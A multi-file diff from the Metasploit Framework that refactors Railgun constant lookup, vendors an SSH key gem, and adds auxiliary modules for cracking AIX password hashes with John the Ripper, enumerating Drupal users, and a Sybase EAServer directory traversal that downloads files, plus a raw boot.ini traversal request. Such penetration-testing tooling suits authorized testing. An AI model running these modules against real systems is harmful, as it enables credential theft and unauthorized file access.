end
|
end
|
||||||
|
|
||||||
def is_parseable(s)
|
def is_parseable(s)
|
||||||
return parse(s) != nil
|
return !parse(s).nil?
|
||||||
end
|
end
|
||||||
|
|
||||||
# looks up a windows constant (integer or hex) and returns an array of matching winconstant names
|
|
||||||
#
|
#
|
||||||
# this function will NOT throw an exception but return "nil" if it can't find an error code
|
# Returns an array of constant names that have a value matching "winconst"
|
||||||
def rev_lookup(winconst, filter_regex=nil)
|
# and (optionally) a name that matches "filter_regex"
|
||||||
c = winconst.to_i # this is what we're gonna reverse lookup
|
#
|
||||||
arr = [] # results array
|
def select_const_names(winconst, filter_regex=nil)
|
||||||
@consts.each_pair do |k,v|
|
matches = []
|
||||||
arr << k if v == c
|
|
||||||
|
consts.each_pair do |name, value|
|
||||||
|
matches << name if value == winconst
|
||||||
end
|
end
|
||||||
if filter_regex # this is how we're going to filter the results
|
|
||||||
# in case we get passed a string instead of a Regexp
|
# Filter matches by name if a filter has been provided
|
||||||
filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp
|
unless filter_regex.nil?
|
||||||
# do the actual filtering
|
matches.reject! do |name|
|
||||||
arr.select! do |item|
|
name !~ filter_regex
|
||||||
item if item =~ filter_regex
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return arr
|
|
||||||
end
|
|
||||||
|
|
||||||
def is_parseable(s)
|
return matches
|
||||||
return parse(s) != nil
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -12,6 +12,26 @@ module Extensions
|
||||||
module Stdapi
|
module Stdapi
|
||||||
module Railgun
|
module Railgun
|
||||||
class WinConstManager::UnitTest < Test::Unit::TestCase
|
class WinConstManager::UnitTest < Test::Unit::TestCase
|
||||||
|
|
||||||
|
def test_select_const_names
|
||||||
|
const_manager = WinConstManager.new
|
||||||
|
|
||||||
|
names = %w(W WW WWW)
|
||||||
|
|
||||||
|
names.each do |name|
|
||||||
|
const_manager.add_const(name, 23)
|
||||||
|
end
|
||||||
|
|
||||||
|
assert(const_manager.select_const_names(23).sort == names,
|
||||||
|
'select_const_names should return all names for given value')
|
||||||
|
|
||||||
|
const_manager.add_const('Skidoo!', 23)
|
||||||
|
|
||||||
|
assert(const_manager.select_const_names(23, /^\w{1,3}$/).sort == names,
|
||||||
|
'select_const_names should filter names with provided regex')
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
def test_is_parseable
|
def test_is_parseable
|
||||||
const_manager = WinConstManager.new
|
const_manager = WinConstManager.new
|
||||||
|
|
||||||
|
|
|
@ -99,16 +99,22 @@ class Client
|
||||||
#
|
#
|
||||||
def set_config(opts = {})
|
def set_config(opts = {})
|
||||||
opts.each_pair do |var,val|
|
opts.each_pair do |var,val|
|
||||||
|
# Default type is string
|
||||||
typ = self.config_types[var] || 'string'
|
typ = self.config_types[var] || 'string'
|
||||||
|
|
||||||
|
# These are enum types
|
||||||
if(typ.class.to_s == 'Array')
|
if(typ.class.to_s == 'Array')
|
||||||
if not typ.include?(val)
|
if not typ.include?(val)
|
||||||
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
|
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# The caller should have converted these to proper ruby types, but
|
||||||
|
# take care of the case where they didn't before setting the
|
||||||
|
# config.
|
||||||
|
|
||||||
if(typ == 'bool')
|
if(typ == 'bool')
|
||||||
val = (val =~ /^(t|y|1)$/i ? true : false)
|
val = (val =~ /^(t|y|1)$/i ? true : false || val === true)
|
||||||
end
|
end
|
||||||
|
|
||||||
if(typ == 'integer')
|
if(typ == 'integer')
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
class SSHKey
|
||||||
|
end
|
||||||
|
|
||||||
|
require 'sshkey/lib/sshkey'
|
|
@ -0,0 +1,20 @@
|
||||||
|
Copyright (c) 2011 James Miller
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining
|
||||||
|
a copy of this software and associated documentation files (the
|
||||||
|
"Software"), to deal in the Software without restriction, including
|
||||||
|
without limitation the rights to use, copy, modify, merge, publish,
|
||||||
|
distribute, sublicense, and/or sell copies of the Software, and to
|
||||||
|
permit persons to whom the Software is furnished to do so, subject to
|
||||||
|
the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be
|
||||||
|
included in all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||||
|
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||||
|
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
@ -0,0 +1,71 @@
|
||||||
|
sshkey
|
||||||
|
======
|
||||||
|
|
||||||
|
Generate private and public SSH keys (RSA and DSA supported) using pure Ruby.
|
||||||
|
|
||||||
|
gem install sshkey
|
||||||
|
|
||||||
|
Tested on the following Rubies: MRI 1.8.7, 1.9.2, 1.9.3, REE. Ruby must be compiled with OpenSSL support.
|
||||||
|
|
||||||
|
[![Build Status](https://secure.travis-ci.org/bensie/sshkey.png)](http://travis-ci.org/bensie/sshkey)
|
||||||
|
|
||||||
|
Usage
|
||||||
|
-----
|
||||||
|
|
||||||
|
When generating a new keypair the default key type is 2048-bit RSA, but you can supply the `type` (RSA or DSA) and `bits` in the options.
|
||||||
|
You can also (optionally) supply a `comment`:
|
||||||
|
|
||||||
|
``` ruby
|
||||||
|
k = SSHKey.generate
|
||||||
|
|
||||||
|
k = SSHKey.generate(:type => "DSA", :bits => 1024, :comment => "foo@bar.com")
|
||||||
|
```
|
||||||
|
|
||||||
|
Return an SSHKey object from an existing RSA or DSA private key (provided as a string)
|
||||||
|
|
||||||
|
``` ruby
|
||||||
|
k = SSHKey.new(File.read("~/.ssh/id_rsa"), :comment => "foo@bar.com")
|
||||||
|
```
|
||||||
|
|
||||||
|
Both of these will return an SSHKey object with the following methods:
|
||||||
|
|
||||||
|
``` ruby
|
||||||
|
# Returns an OpenSSL::PKey::RSA or OpenSSL::PKey::DSA key object
|
||||||
|
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/RSA.html
|
||||||
|
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/DSA.html
|
||||||
|
k.key_object
|
||||||
|
# => -----BEGIN RSA PRIVATE KEY-----\nMIIEowI...
|
||||||
|
|
||||||
|
# Returns the Private Key as a string
|
||||||
|
k.private_key
|
||||||
|
# => "-----BEGIN RSA PRIVATE KEY-----\nMIIEowI..."
|
||||||
|
|
||||||
|
# Returns the Public Key as a string
|
||||||
|
k.public_key
|
||||||
|
# => "-----BEGIN RSA PUBLIC KEY-----\nMIIBCg..."
|
||||||
|
|
||||||
|
# Returns the SSH Public Key as a string
|
||||||
|
k.ssh_public_key
|
||||||
|
# => "ssh-rsa AAAAB3NzaC1yc2EA...."
|
||||||
|
|
||||||
|
# Returns the comment as a string
|
||||||
|
k.comment
|
||||||
|
# => "foo@bar.com"
|
||||||
|
|
||||||
|
# Returns the MD5 fingerprint as a string
|
||||||
|
k.md5_fingerprint
|
||||||
|
# => "2a:89:84:c9:29:05:d1:f8:49:79:1c:ba:73:99:eb:af"
|
||||||
|
|
||||||
|
# Returns the SHA1 fingerprint as a string
|
||||||
|
k.sha1_fingerprint
|
||||||
|
# => "e4:f9:79:f2:fe:d6:be:2d:ef:2e:c2:fa:aa:f8:b0:17:34:fe:0d:c0"
|
||||||
|
|
||||||
|
# Validates SSH Public Key
|
||||||
|
SSHKey.valid_ssh_public_key? "ssh-rsa AAAAB3NzaC1yc2EA...."
|
||||||
|
# => true
|
||||||
|
```
|
||||||
|
|
||||||
|
Copyright
|
||||||
|
---------
|
||||||
|
|
||||||
|
Copyright (c) 2011 James Miller
|
|
@ -0,0 +1,186 @@
|
||||||
|
require 'openssl'
|
||||||
|
require 'base64'
|
||||||
|
require 'digest/md5'
|
||||||
|
require 'digest/sha1'
|
||||||
|
|
||||||
|
class SSHKey
|
||||||
|
SSH_TYPES = {"rsa" => "ssh-rsa", "dsa" => "ssh-dss"}
|
||||||
|
SSH_CONVERSION = {"rsa" => ["e", "n"], "dsa" => ["p", "q", "g", "pub_key"]}
|
||||||
|
|
||||||
|
attr_reader :key_object, :comment, :type
|
||||||
|
attr_accessor :passphrase
|
||||||
|
|
||||||
|
# Generate a new keypair and return an SSHKey object
|
||||||
|
#
|
||||||
|
# The default behavior when providing no options will generate a 2048-bit RSA
|
||||||
|
# keypair.
|
||||||
|
#
|
||||||
|
# ==== Parameters
|
||||||
|
# * options<~Hash>:
|
||||||
|
# * :type<~String> - "rsa" or "dsa", "rsa" by default
|
||||||
|
# * :bits<~Integer> - Bit length
|
||||||
|
# * :comment<~String> - Comment to use for the public key, defaults to ""
|
||||||
|
# * :passphrase<~String> - Encrypt the key with this passphrase
|
||||||
|
#
|
||||||
|
def self.generate(options = {})
|
||||||
|
type = options[:type] || "rsa"
|
||||||
|
bits = options[:bits] || 2048
|
||||||
|
cipher = OpenSSL::Cipher::Cipher.new("AES-128-CBC") if options[:passphrase]
|
||||||
|
|
||||||
|
case type.downcase
|
||||||
|
when "rsa" then SSHKey.new(OpenSSL::PKey::RSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
|
||||||
|
when "dsa" then SSHKey.new(OpenSSL::PKey::DSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
|
||||||
|
else
|
||||||
|
raise "Unknown key type: #{type}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Validate an existing SSH public key
|
||||||
|
#
|
||||||
|
# Returns true or false depending on the validity of the public key provided
|
||||||
|
#
|
||||||
|
# ==== Parameters
|
||||||
|
# * ssh_public_key<~String> - "ssh-rsa AAAAB3NzaC1yc2EA...."
|
||||||
|
#
|
||||||
|
def self.valid_ssh_public_key?(ssh_public_key)
|
||||||
|
ssh_type, encoded_key = ssh_public_key.split(" ")
|
||||||
|
type = SSH_TYPES.invert[ssh_type]
|
||||||
|
prefix = [0,0,0,7].pack("C*")
|
||||||
|
decoded = Base64.decode64(encoded_key)
|
||||||
|
|
||||||
|
# Base64 decoding is too permissive, so we should validate if encoding is correct
|
||||||
|
return false unless Base64.encode64(decoded).gsub("\n", "") == encoded_key
|
||||||
|
return false unless decoded.sub!(/^#{prefix}#{ssh_type}/, "")
|
||||||
|
|
||||||
|
unpacked = decoded.unpack("C*")
|
||||||
|
data = []
|
||||||
|
index = 0
|
||||||
|
until unpacked[index].nil?
|
||||||
|
datum_size = from_byte_array unpacked[index..index+4-1], 4
|
||||||
|
index = index + 4
|
||||||
|
datum = from_byte_array unpacked[index..index+datum_size-1], datum_size
|
||||||
|
data << datum
|
||||||
|
index = index + datum_size
|
||||||
|
end
|
||||||
|
|
||||||
|
SSH_CONVERSION[type].size == data.size
|
||||||
|
rescue
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.from_byte_array(byte_array, expected_size = nil)
|
||||||
|
num = 0
|
||||||
|
raise "Byte array too short" if !expected_size.nil? && expected_size != byte_array.size
|
||||||
|
byte_array.reverse.each_with_index do |item, index|
|
||||||
|
num += item * 256**(index)
|
||||||
|
end
|
||||||
|
num
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a new SSHKey object
|
||||||
|
#
|
||||||
|
# ==== Parameters
|
||||||
|
# * private_key - Existing RSA or DSA private key
|
||||||
|
# * options<~Hash>
|
||||||
|
# * :comment<~String> - Comment to use for the public key, defaults to ""
|
||||||
|
# * :passphrase<~String> - If the key is encrypted, supply the passphrase
|
||||||
|
#
|
||||||
|
def initialize(private_key, options = {})
|
||||||
|
@passphrase = options[:passphrase]
|
||||||
|
@comment = options[:comment] || ""
|
||||||
|
begin
|
||||||
|
@key_object = OpenSSL::PKey::RSA.new(private_key, passphrase)
|
||||||
|
@type = "rsa"
|
||||||
|
rescue
|
||||||
|
@key_object = OpenSSL::PKey::DSA.new(private_key, passphrase)
|
||||||
|
@type = "dsa"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Fetch the RSA/DSA private key
|
||||||
|
#
|
||||||
|
# rsa_private_key and dsa_private_key are aliased for backward compatibility
|
||||||
|
def private_key
|
||||||
|
key_object.to_pem
|
||||||
|
end
|
||||||
|
alias_method :rsa_private_key, :private_key
|
||||||
|
alias_method :dsa_private_key, :private_key
|
||||||
|
|
||||||
|
# Fetch the encrypted RSA/DSA private key using the passphrase provided
|
||||||
|
#
|
||||||
|
# If no passphrase is set, returns the unencrypted private key
|
||||||
|
def encrypted_private_key
|
||||||
|
return private_key unless passphrase
|
||||||
|
key_object.to_pem(OpenSSL::Cipher::Cipher.new("AES-128-CBC"), passphrase)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Fetch the RSA/DSA public key
|
||||||
|
#
|
||||||
|
# rsa_public_key and dsa_public_key are aliased for backward compatibility
|
||||||
|
def public_key
|
||||||
|
key_object.public_key.to_pem
|
||||||
|
end
|
||||||
|
alias_method :rsa_public_key, :public_key
|
||||||
|
alias_method :dsa_public_key, :public_key
|
||||||
|
|
||||||
|
# SSH public key
|
||||||
|
def ssh_public_key
|
||||||
|
[SSH_TYPES[type], Base64.encode64(ssh_public_key_conversion).gsub("\n", ""), comment].join(" ").strip
|
||||||
|
end
|
||||||
|
|
||||||
|
# Fingerprints
|
||||||
|
#
|
||||||
|
# MD5 fingerprint for the given SSH public key
|
||||||
|
def md5_fingerprint
|
||||||
|
Digest::MD5.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
|
||||||
|
end
|
||||||
|
alias_method :fingerprint, :md5_fingerprint
|
||||||
|
|
||||||
|
# SHA1 fingerprint for the given SSH public key
|
||||||
|
def sha1_fingerprint
|
||||||
|
Digest::SHA1.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# SSH Public Key Conversion
|
||||||
|
#
|
||||||
|
# All data type encoding is defined in the section #5 of RFC #4251.
|
||||||
|
# String and mpint (multiple precision integer) types are encoded this way:
|
||||||
|
# 4-bytes word: data length (unsigned big-endian 32 bits integer)
|
||||||
|
# n bytes: binary representation of the data
|
||||||
|
|
||||||
|
# For instance, the "ssh-rsa" string is encoded as the following byte array
|
||||||
|
# [0, 0, 0, 7, 's', 's', 'h', '-', 'r', 's', 'a']
|
||||||
|
def ssh_public_key_conversion
|
||||||
|
out = [0,0,0,7].pack("C*")
|
||||||
|
out += SSH_TYPES[type]
|
||||||
|
|
||||||
|
SSH_CONVERSION[type].each do |method|
|
||||||
|
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
|
||||||
|
out += encode_unsigned_int_32(byte_array.length).pack("c*")
|
||||||
|
out += byte_array.pack("C*")
|
||||||
|
end
|
||||||
|
|
||||||
|
return out
|
||||||
|
end
|
||||||
|
|
||||||
|
def encode_unsigned_int_32(value)
|
||||||
|
out = []
|
||||||
|
out[0] = value >> 24 & 0xff
|
||||||
|
out[1] = value >> 16 & 0xff
|
||||||
|
out[2] = value >> 8 & 0xff
|
||||||
|
out[3] = value & 0xff
|
||||||
|
return out
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_byte_array(num)
|
||||||
|
result = []
|
||||||
|
begin
|
||||||
|
result << (num & 0xff)
|
||||||
|
num >>= 8
|
||||||
|
end until (num == 0 || num == -1) && (result.last[7] == num[7])
|
||||||
|
result.reverse
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,3 @@
|
||||||
|
class SSHKey
|
||||||
|
VERSION = "1.3.0"
|
||||||
|
end
|
|
@ -0,0 +1,142 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::JohnTheRipper
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'John the Ripper Linux Password Cracker',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => %Q{
|
||||||
|
This module uses John the Ripper to identify weak passwords that have been
|
||||||
|
acquired from passwd files on AIX systems.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'TheLightCosine <thelightcosine[at]gmail.com>',
|
||||||
|
'hdm'
|
||||||
|
] ,
|
||||||
|
'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD)
|
||||||
|
)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
wordlist = Rex::Quickfile.new("jtrtmp")
|
||||||
|
|
||||||
|
wordlist.write( build_seed().join("\n") + "\n" )
|
||||||
|
wordlist.close
|
||||||
|
|
||||||
|
hashlist = Rex::Quickfile.new("jtrtmp")
|
||||||
|
|
||||||
|
myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes'])
|
||||||
|
unless myloots.nil? or myloots.empty?
|
||||||
|
myloots.each do |myloot|
|
||||||
|
begin
|
||||||
|
usf = File.open(myloot.path, "rb")
|
||||||
|
rescue Exception => e
|
||||||
|
print_error("Unable to read #{myloot.path} \n #{e}")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
usf.each_line do |row|
|
||||||
|
row.gsub!(/\n/, ":#{myloot.host.address}\n")
|
||||||
|
hashlist.write(row)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
hashlist.close
|
||||||
|
|
||||||
|
print_status("HashList: #{hashlist.path}")
|
||||||
|
|
||||||
|
print_status("Trying Format:des Wordlist: #{wordlist.path}")
|
||||||
|
john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des')
|
||||||
|
print_status("Trying Format:des Rule: All4...")
|
||||||
|
john_crack(hashlist.path, :incremental => "All4", :format => 'des')
|
||||||
|
print_status("Trying Format:des Rule: Digits5...")
|
||||||
|
john_crack(hashlist.path, :incremental => "Digits5", :format => 'des')
|
||||||
|
|
||||||
|
cracked = john_show_passwords(hashlist.path)
|
||||||
|
|
||||||
|
|
||||||
|
print_status("#{cracked[:cracked]} hashes were cracked!")
|
||||||
|
|
||||||
|
cracked[:users].each_pair do |k,v|
|
||||||
|
if v[0] == "NO PASSWORD"
|
||||||
|
passwd=""
|
||||||
|
else
|
||||||
|
passwd=v[0]
|
||||||
|
end
|
||||||
|
print_good("Host: #{v.last} User: #{k} Pass: #{passwd}")
|
||||||
|
report_auth_info(
|
||||||
|
:host => v.last,
|
||||||
|
:port => 22,
|
||||||
|
:sname => 'ssh',
|
||||||
|
:user => k,
|
||||||
|
:pass => passwd
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def build_seed
|
||||||
|
|
||||||
|
seed = []
|
||||||
|
#Seed the wordlist with Database , Table, and Instance Names
|
||||||
|
schemas = myworkspace.notes.find(:all, :conditions => ['ntype like ?', '%.schema%'])
|
||||||
|
unless schemas.nil? or schemas.empty?
|
||||||
|
schemas.each do |anote|
|
||||||
|
anote.data.each do |key,value|
|
||||||
|
seed << key
|
||||||
|
value.each{|a| seed << a}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename'])
|
||||||
|
unless instances.nil? or instances.empty?
|
||||||
|
instances.each do |anote|
|
||||||
|
seed << anote.data['InstanceName']
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Seed the wordlist with usernames, passwords, and hostnames
|
||||||
|
|
||||||
|
myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name }
|
||||||
|
myworkspace.creds.each do |o|
|
||||||
|
seed << john_expand_word( o.user ) if o.user
|
||||||
|
seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Grab any known passwords out of the john.pot file
|
||||||
|
john_cracked_passwords.values {|v| seed << v }
|
||||||
|
|
||||||
|
#Grab the default John Wordlist
|
||||||
|
john = File.open(john_wordlist_path, "rb")
|
||||||
|
john.each_line{|line| seed << line.chomp}
|
||||||
|
|
||||||
|
unless seed.empty?
|
||||||
|
seed.flatten!
|
||||||
|
seed.uniq!
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Wordlist Seeded with #{seed.length} words")
|
||||||
|
|
||||||
|
return seed
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -80,7 +80,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
if datastore['RECORD_GUEST']
|
if datastore['RECORD_GUEST']
|
||||||
report_ftp_creds(user,pass,@access)
|
report_ftp_creds(user,pass,@access)
|
||||||
else
|
else
|
||||||
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
|
if @accepts_all_logins[@access]
|
||||||
|
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
|
||||||
|
else
|
||||||
|
report_ftp_creds(user,pass,@access)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
ret
|
ret
|
||||||
|
|
|
@ -0,0 +1,116 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Drupal Views Module Users Enumeration',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an information disclosure vulnerability in the 'Views'
|
||||||
|
module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Justin Klein Keane', #Original Discovery
|
||||||
|
'Robin François <rof[at]navixia.com>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://www.madirish.net/node/465'],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jul 2 2010'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URIPATH', [true, "Drupal Path", "/"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check(base_uri)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => base_uri,
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => { 'Connection' => 'Close' }
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if not res
|
||||||
|
return false
|
||||||
|
elsif res.message != 'OK' or res.body != '[ ]'
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
# Make sure the URIPATH begins with '/'
|
||||||
|
if datastore['URIPATH'][0] != '/'
|
||||||
|
datastore['URIPATH'] = '/' + datastore['URIPATH']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Make sure the URIPATH ends with /
|
||||||
|
if datastore['URIPATH'][-1] != '/'
|
||||||
|
datastore['URIPATH'] = datastore['URIPATH'] + '/'
|
||||||
|
end
|
||||||
|
|
||||||
|
enum_uri = datastore['URIPATH'] + "?q=admin/views/ajax/autocomplete/user/"
|
||||||
|
|
||||||
|
# Check if remote host is available or appears vulnerable
|
||||||
|
if not check(enum_uri)
|
||||||
|
print_error("#{ip} does not appear to be vulnerable, will not continue")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Begin enumerating users at #{ip}")
|
||||||
|
|
||||||
|
results = []
|
||||||
|
('a'..'z').each do |l|
|
||||||
|
vprint_status("Iterating on letter: #{l}")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => enum_uri+l,
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => { 'Connection' => 'Close' }
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
if (res and res.message == "OK")
|
||||||
|
user_list = res.body.scan(/\w+/)
|
||||||
|
if user_list.empty?
|
||||||
|
vprint_line("\tFound: Nothing")
|
||||||
|
else
|
||||||
|
vprint_line("\tFound: #{user_list.inspect}")
|
||||||
|
results << user_list
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Unexpected results from server")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
final_results = results.flatten.uniq
|
||||||
|
|
||||||
|
print_status("Done. " + final_results.length.to_s + " usernames found...")
|
||||||
|
|
||||||
|
final_results.each do |user|
|
||||||
|
report_auth_info(
|
||||||
|
:host => Rex::Socket.getaddress(datastore['RHOST']),
|
||||||
|
:port => datastore['RPORT'],
|
||||||
|
:user => user,
|
||||||
|
:type => "drupal_user"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,112 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal vulnerability found in Sybase
|
||||||
|
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
|
||||||
|
EAserver's default configuration unless the web server allows WRITE permission.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2011-2474' ],
|
||||||
|
[ 'OSVDB', '72498' ],
|
||||||
|
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
|
||||||
|
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Sow Ching Shiong', #Initial discovery (via iDefense)
|
||||||
|
'sinn3r'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => "May 25 2011"
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8000),
|
||||||
|
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('RHOST')
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
# No point to continue if no filename is specified
|
||||||
|
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
||||||
|
print_error("Please supply the name of the file you want to download")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Attempting to download: #{datastore['FILEPATH']}")
|
||||||
|
|
||||||
|
# Create request
|
||||||
|
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
|
||||||
|
res = send_request_raw({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
print_status("Server returns HTTP code: #{res.code.to_s}")
|
||||||
|
|
||||||
|
# Show data if needed
|
||||||
|
if res and res.code == 200
|
||||||
|
vprint_line(res.to_s)
|
||||||
|
fname = File.basename(datastore['FILEPATH'])
|
||||||
|
|
||||||
|
path = store_loot(
|
||||||
|
'easerver.http',
|
||||||
|
'application/octet-stream',
|
||||||
|
ip,
|
||||||
|
res.body,
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
print_status("File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("Nothing was downloaded")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
|
||||||
|
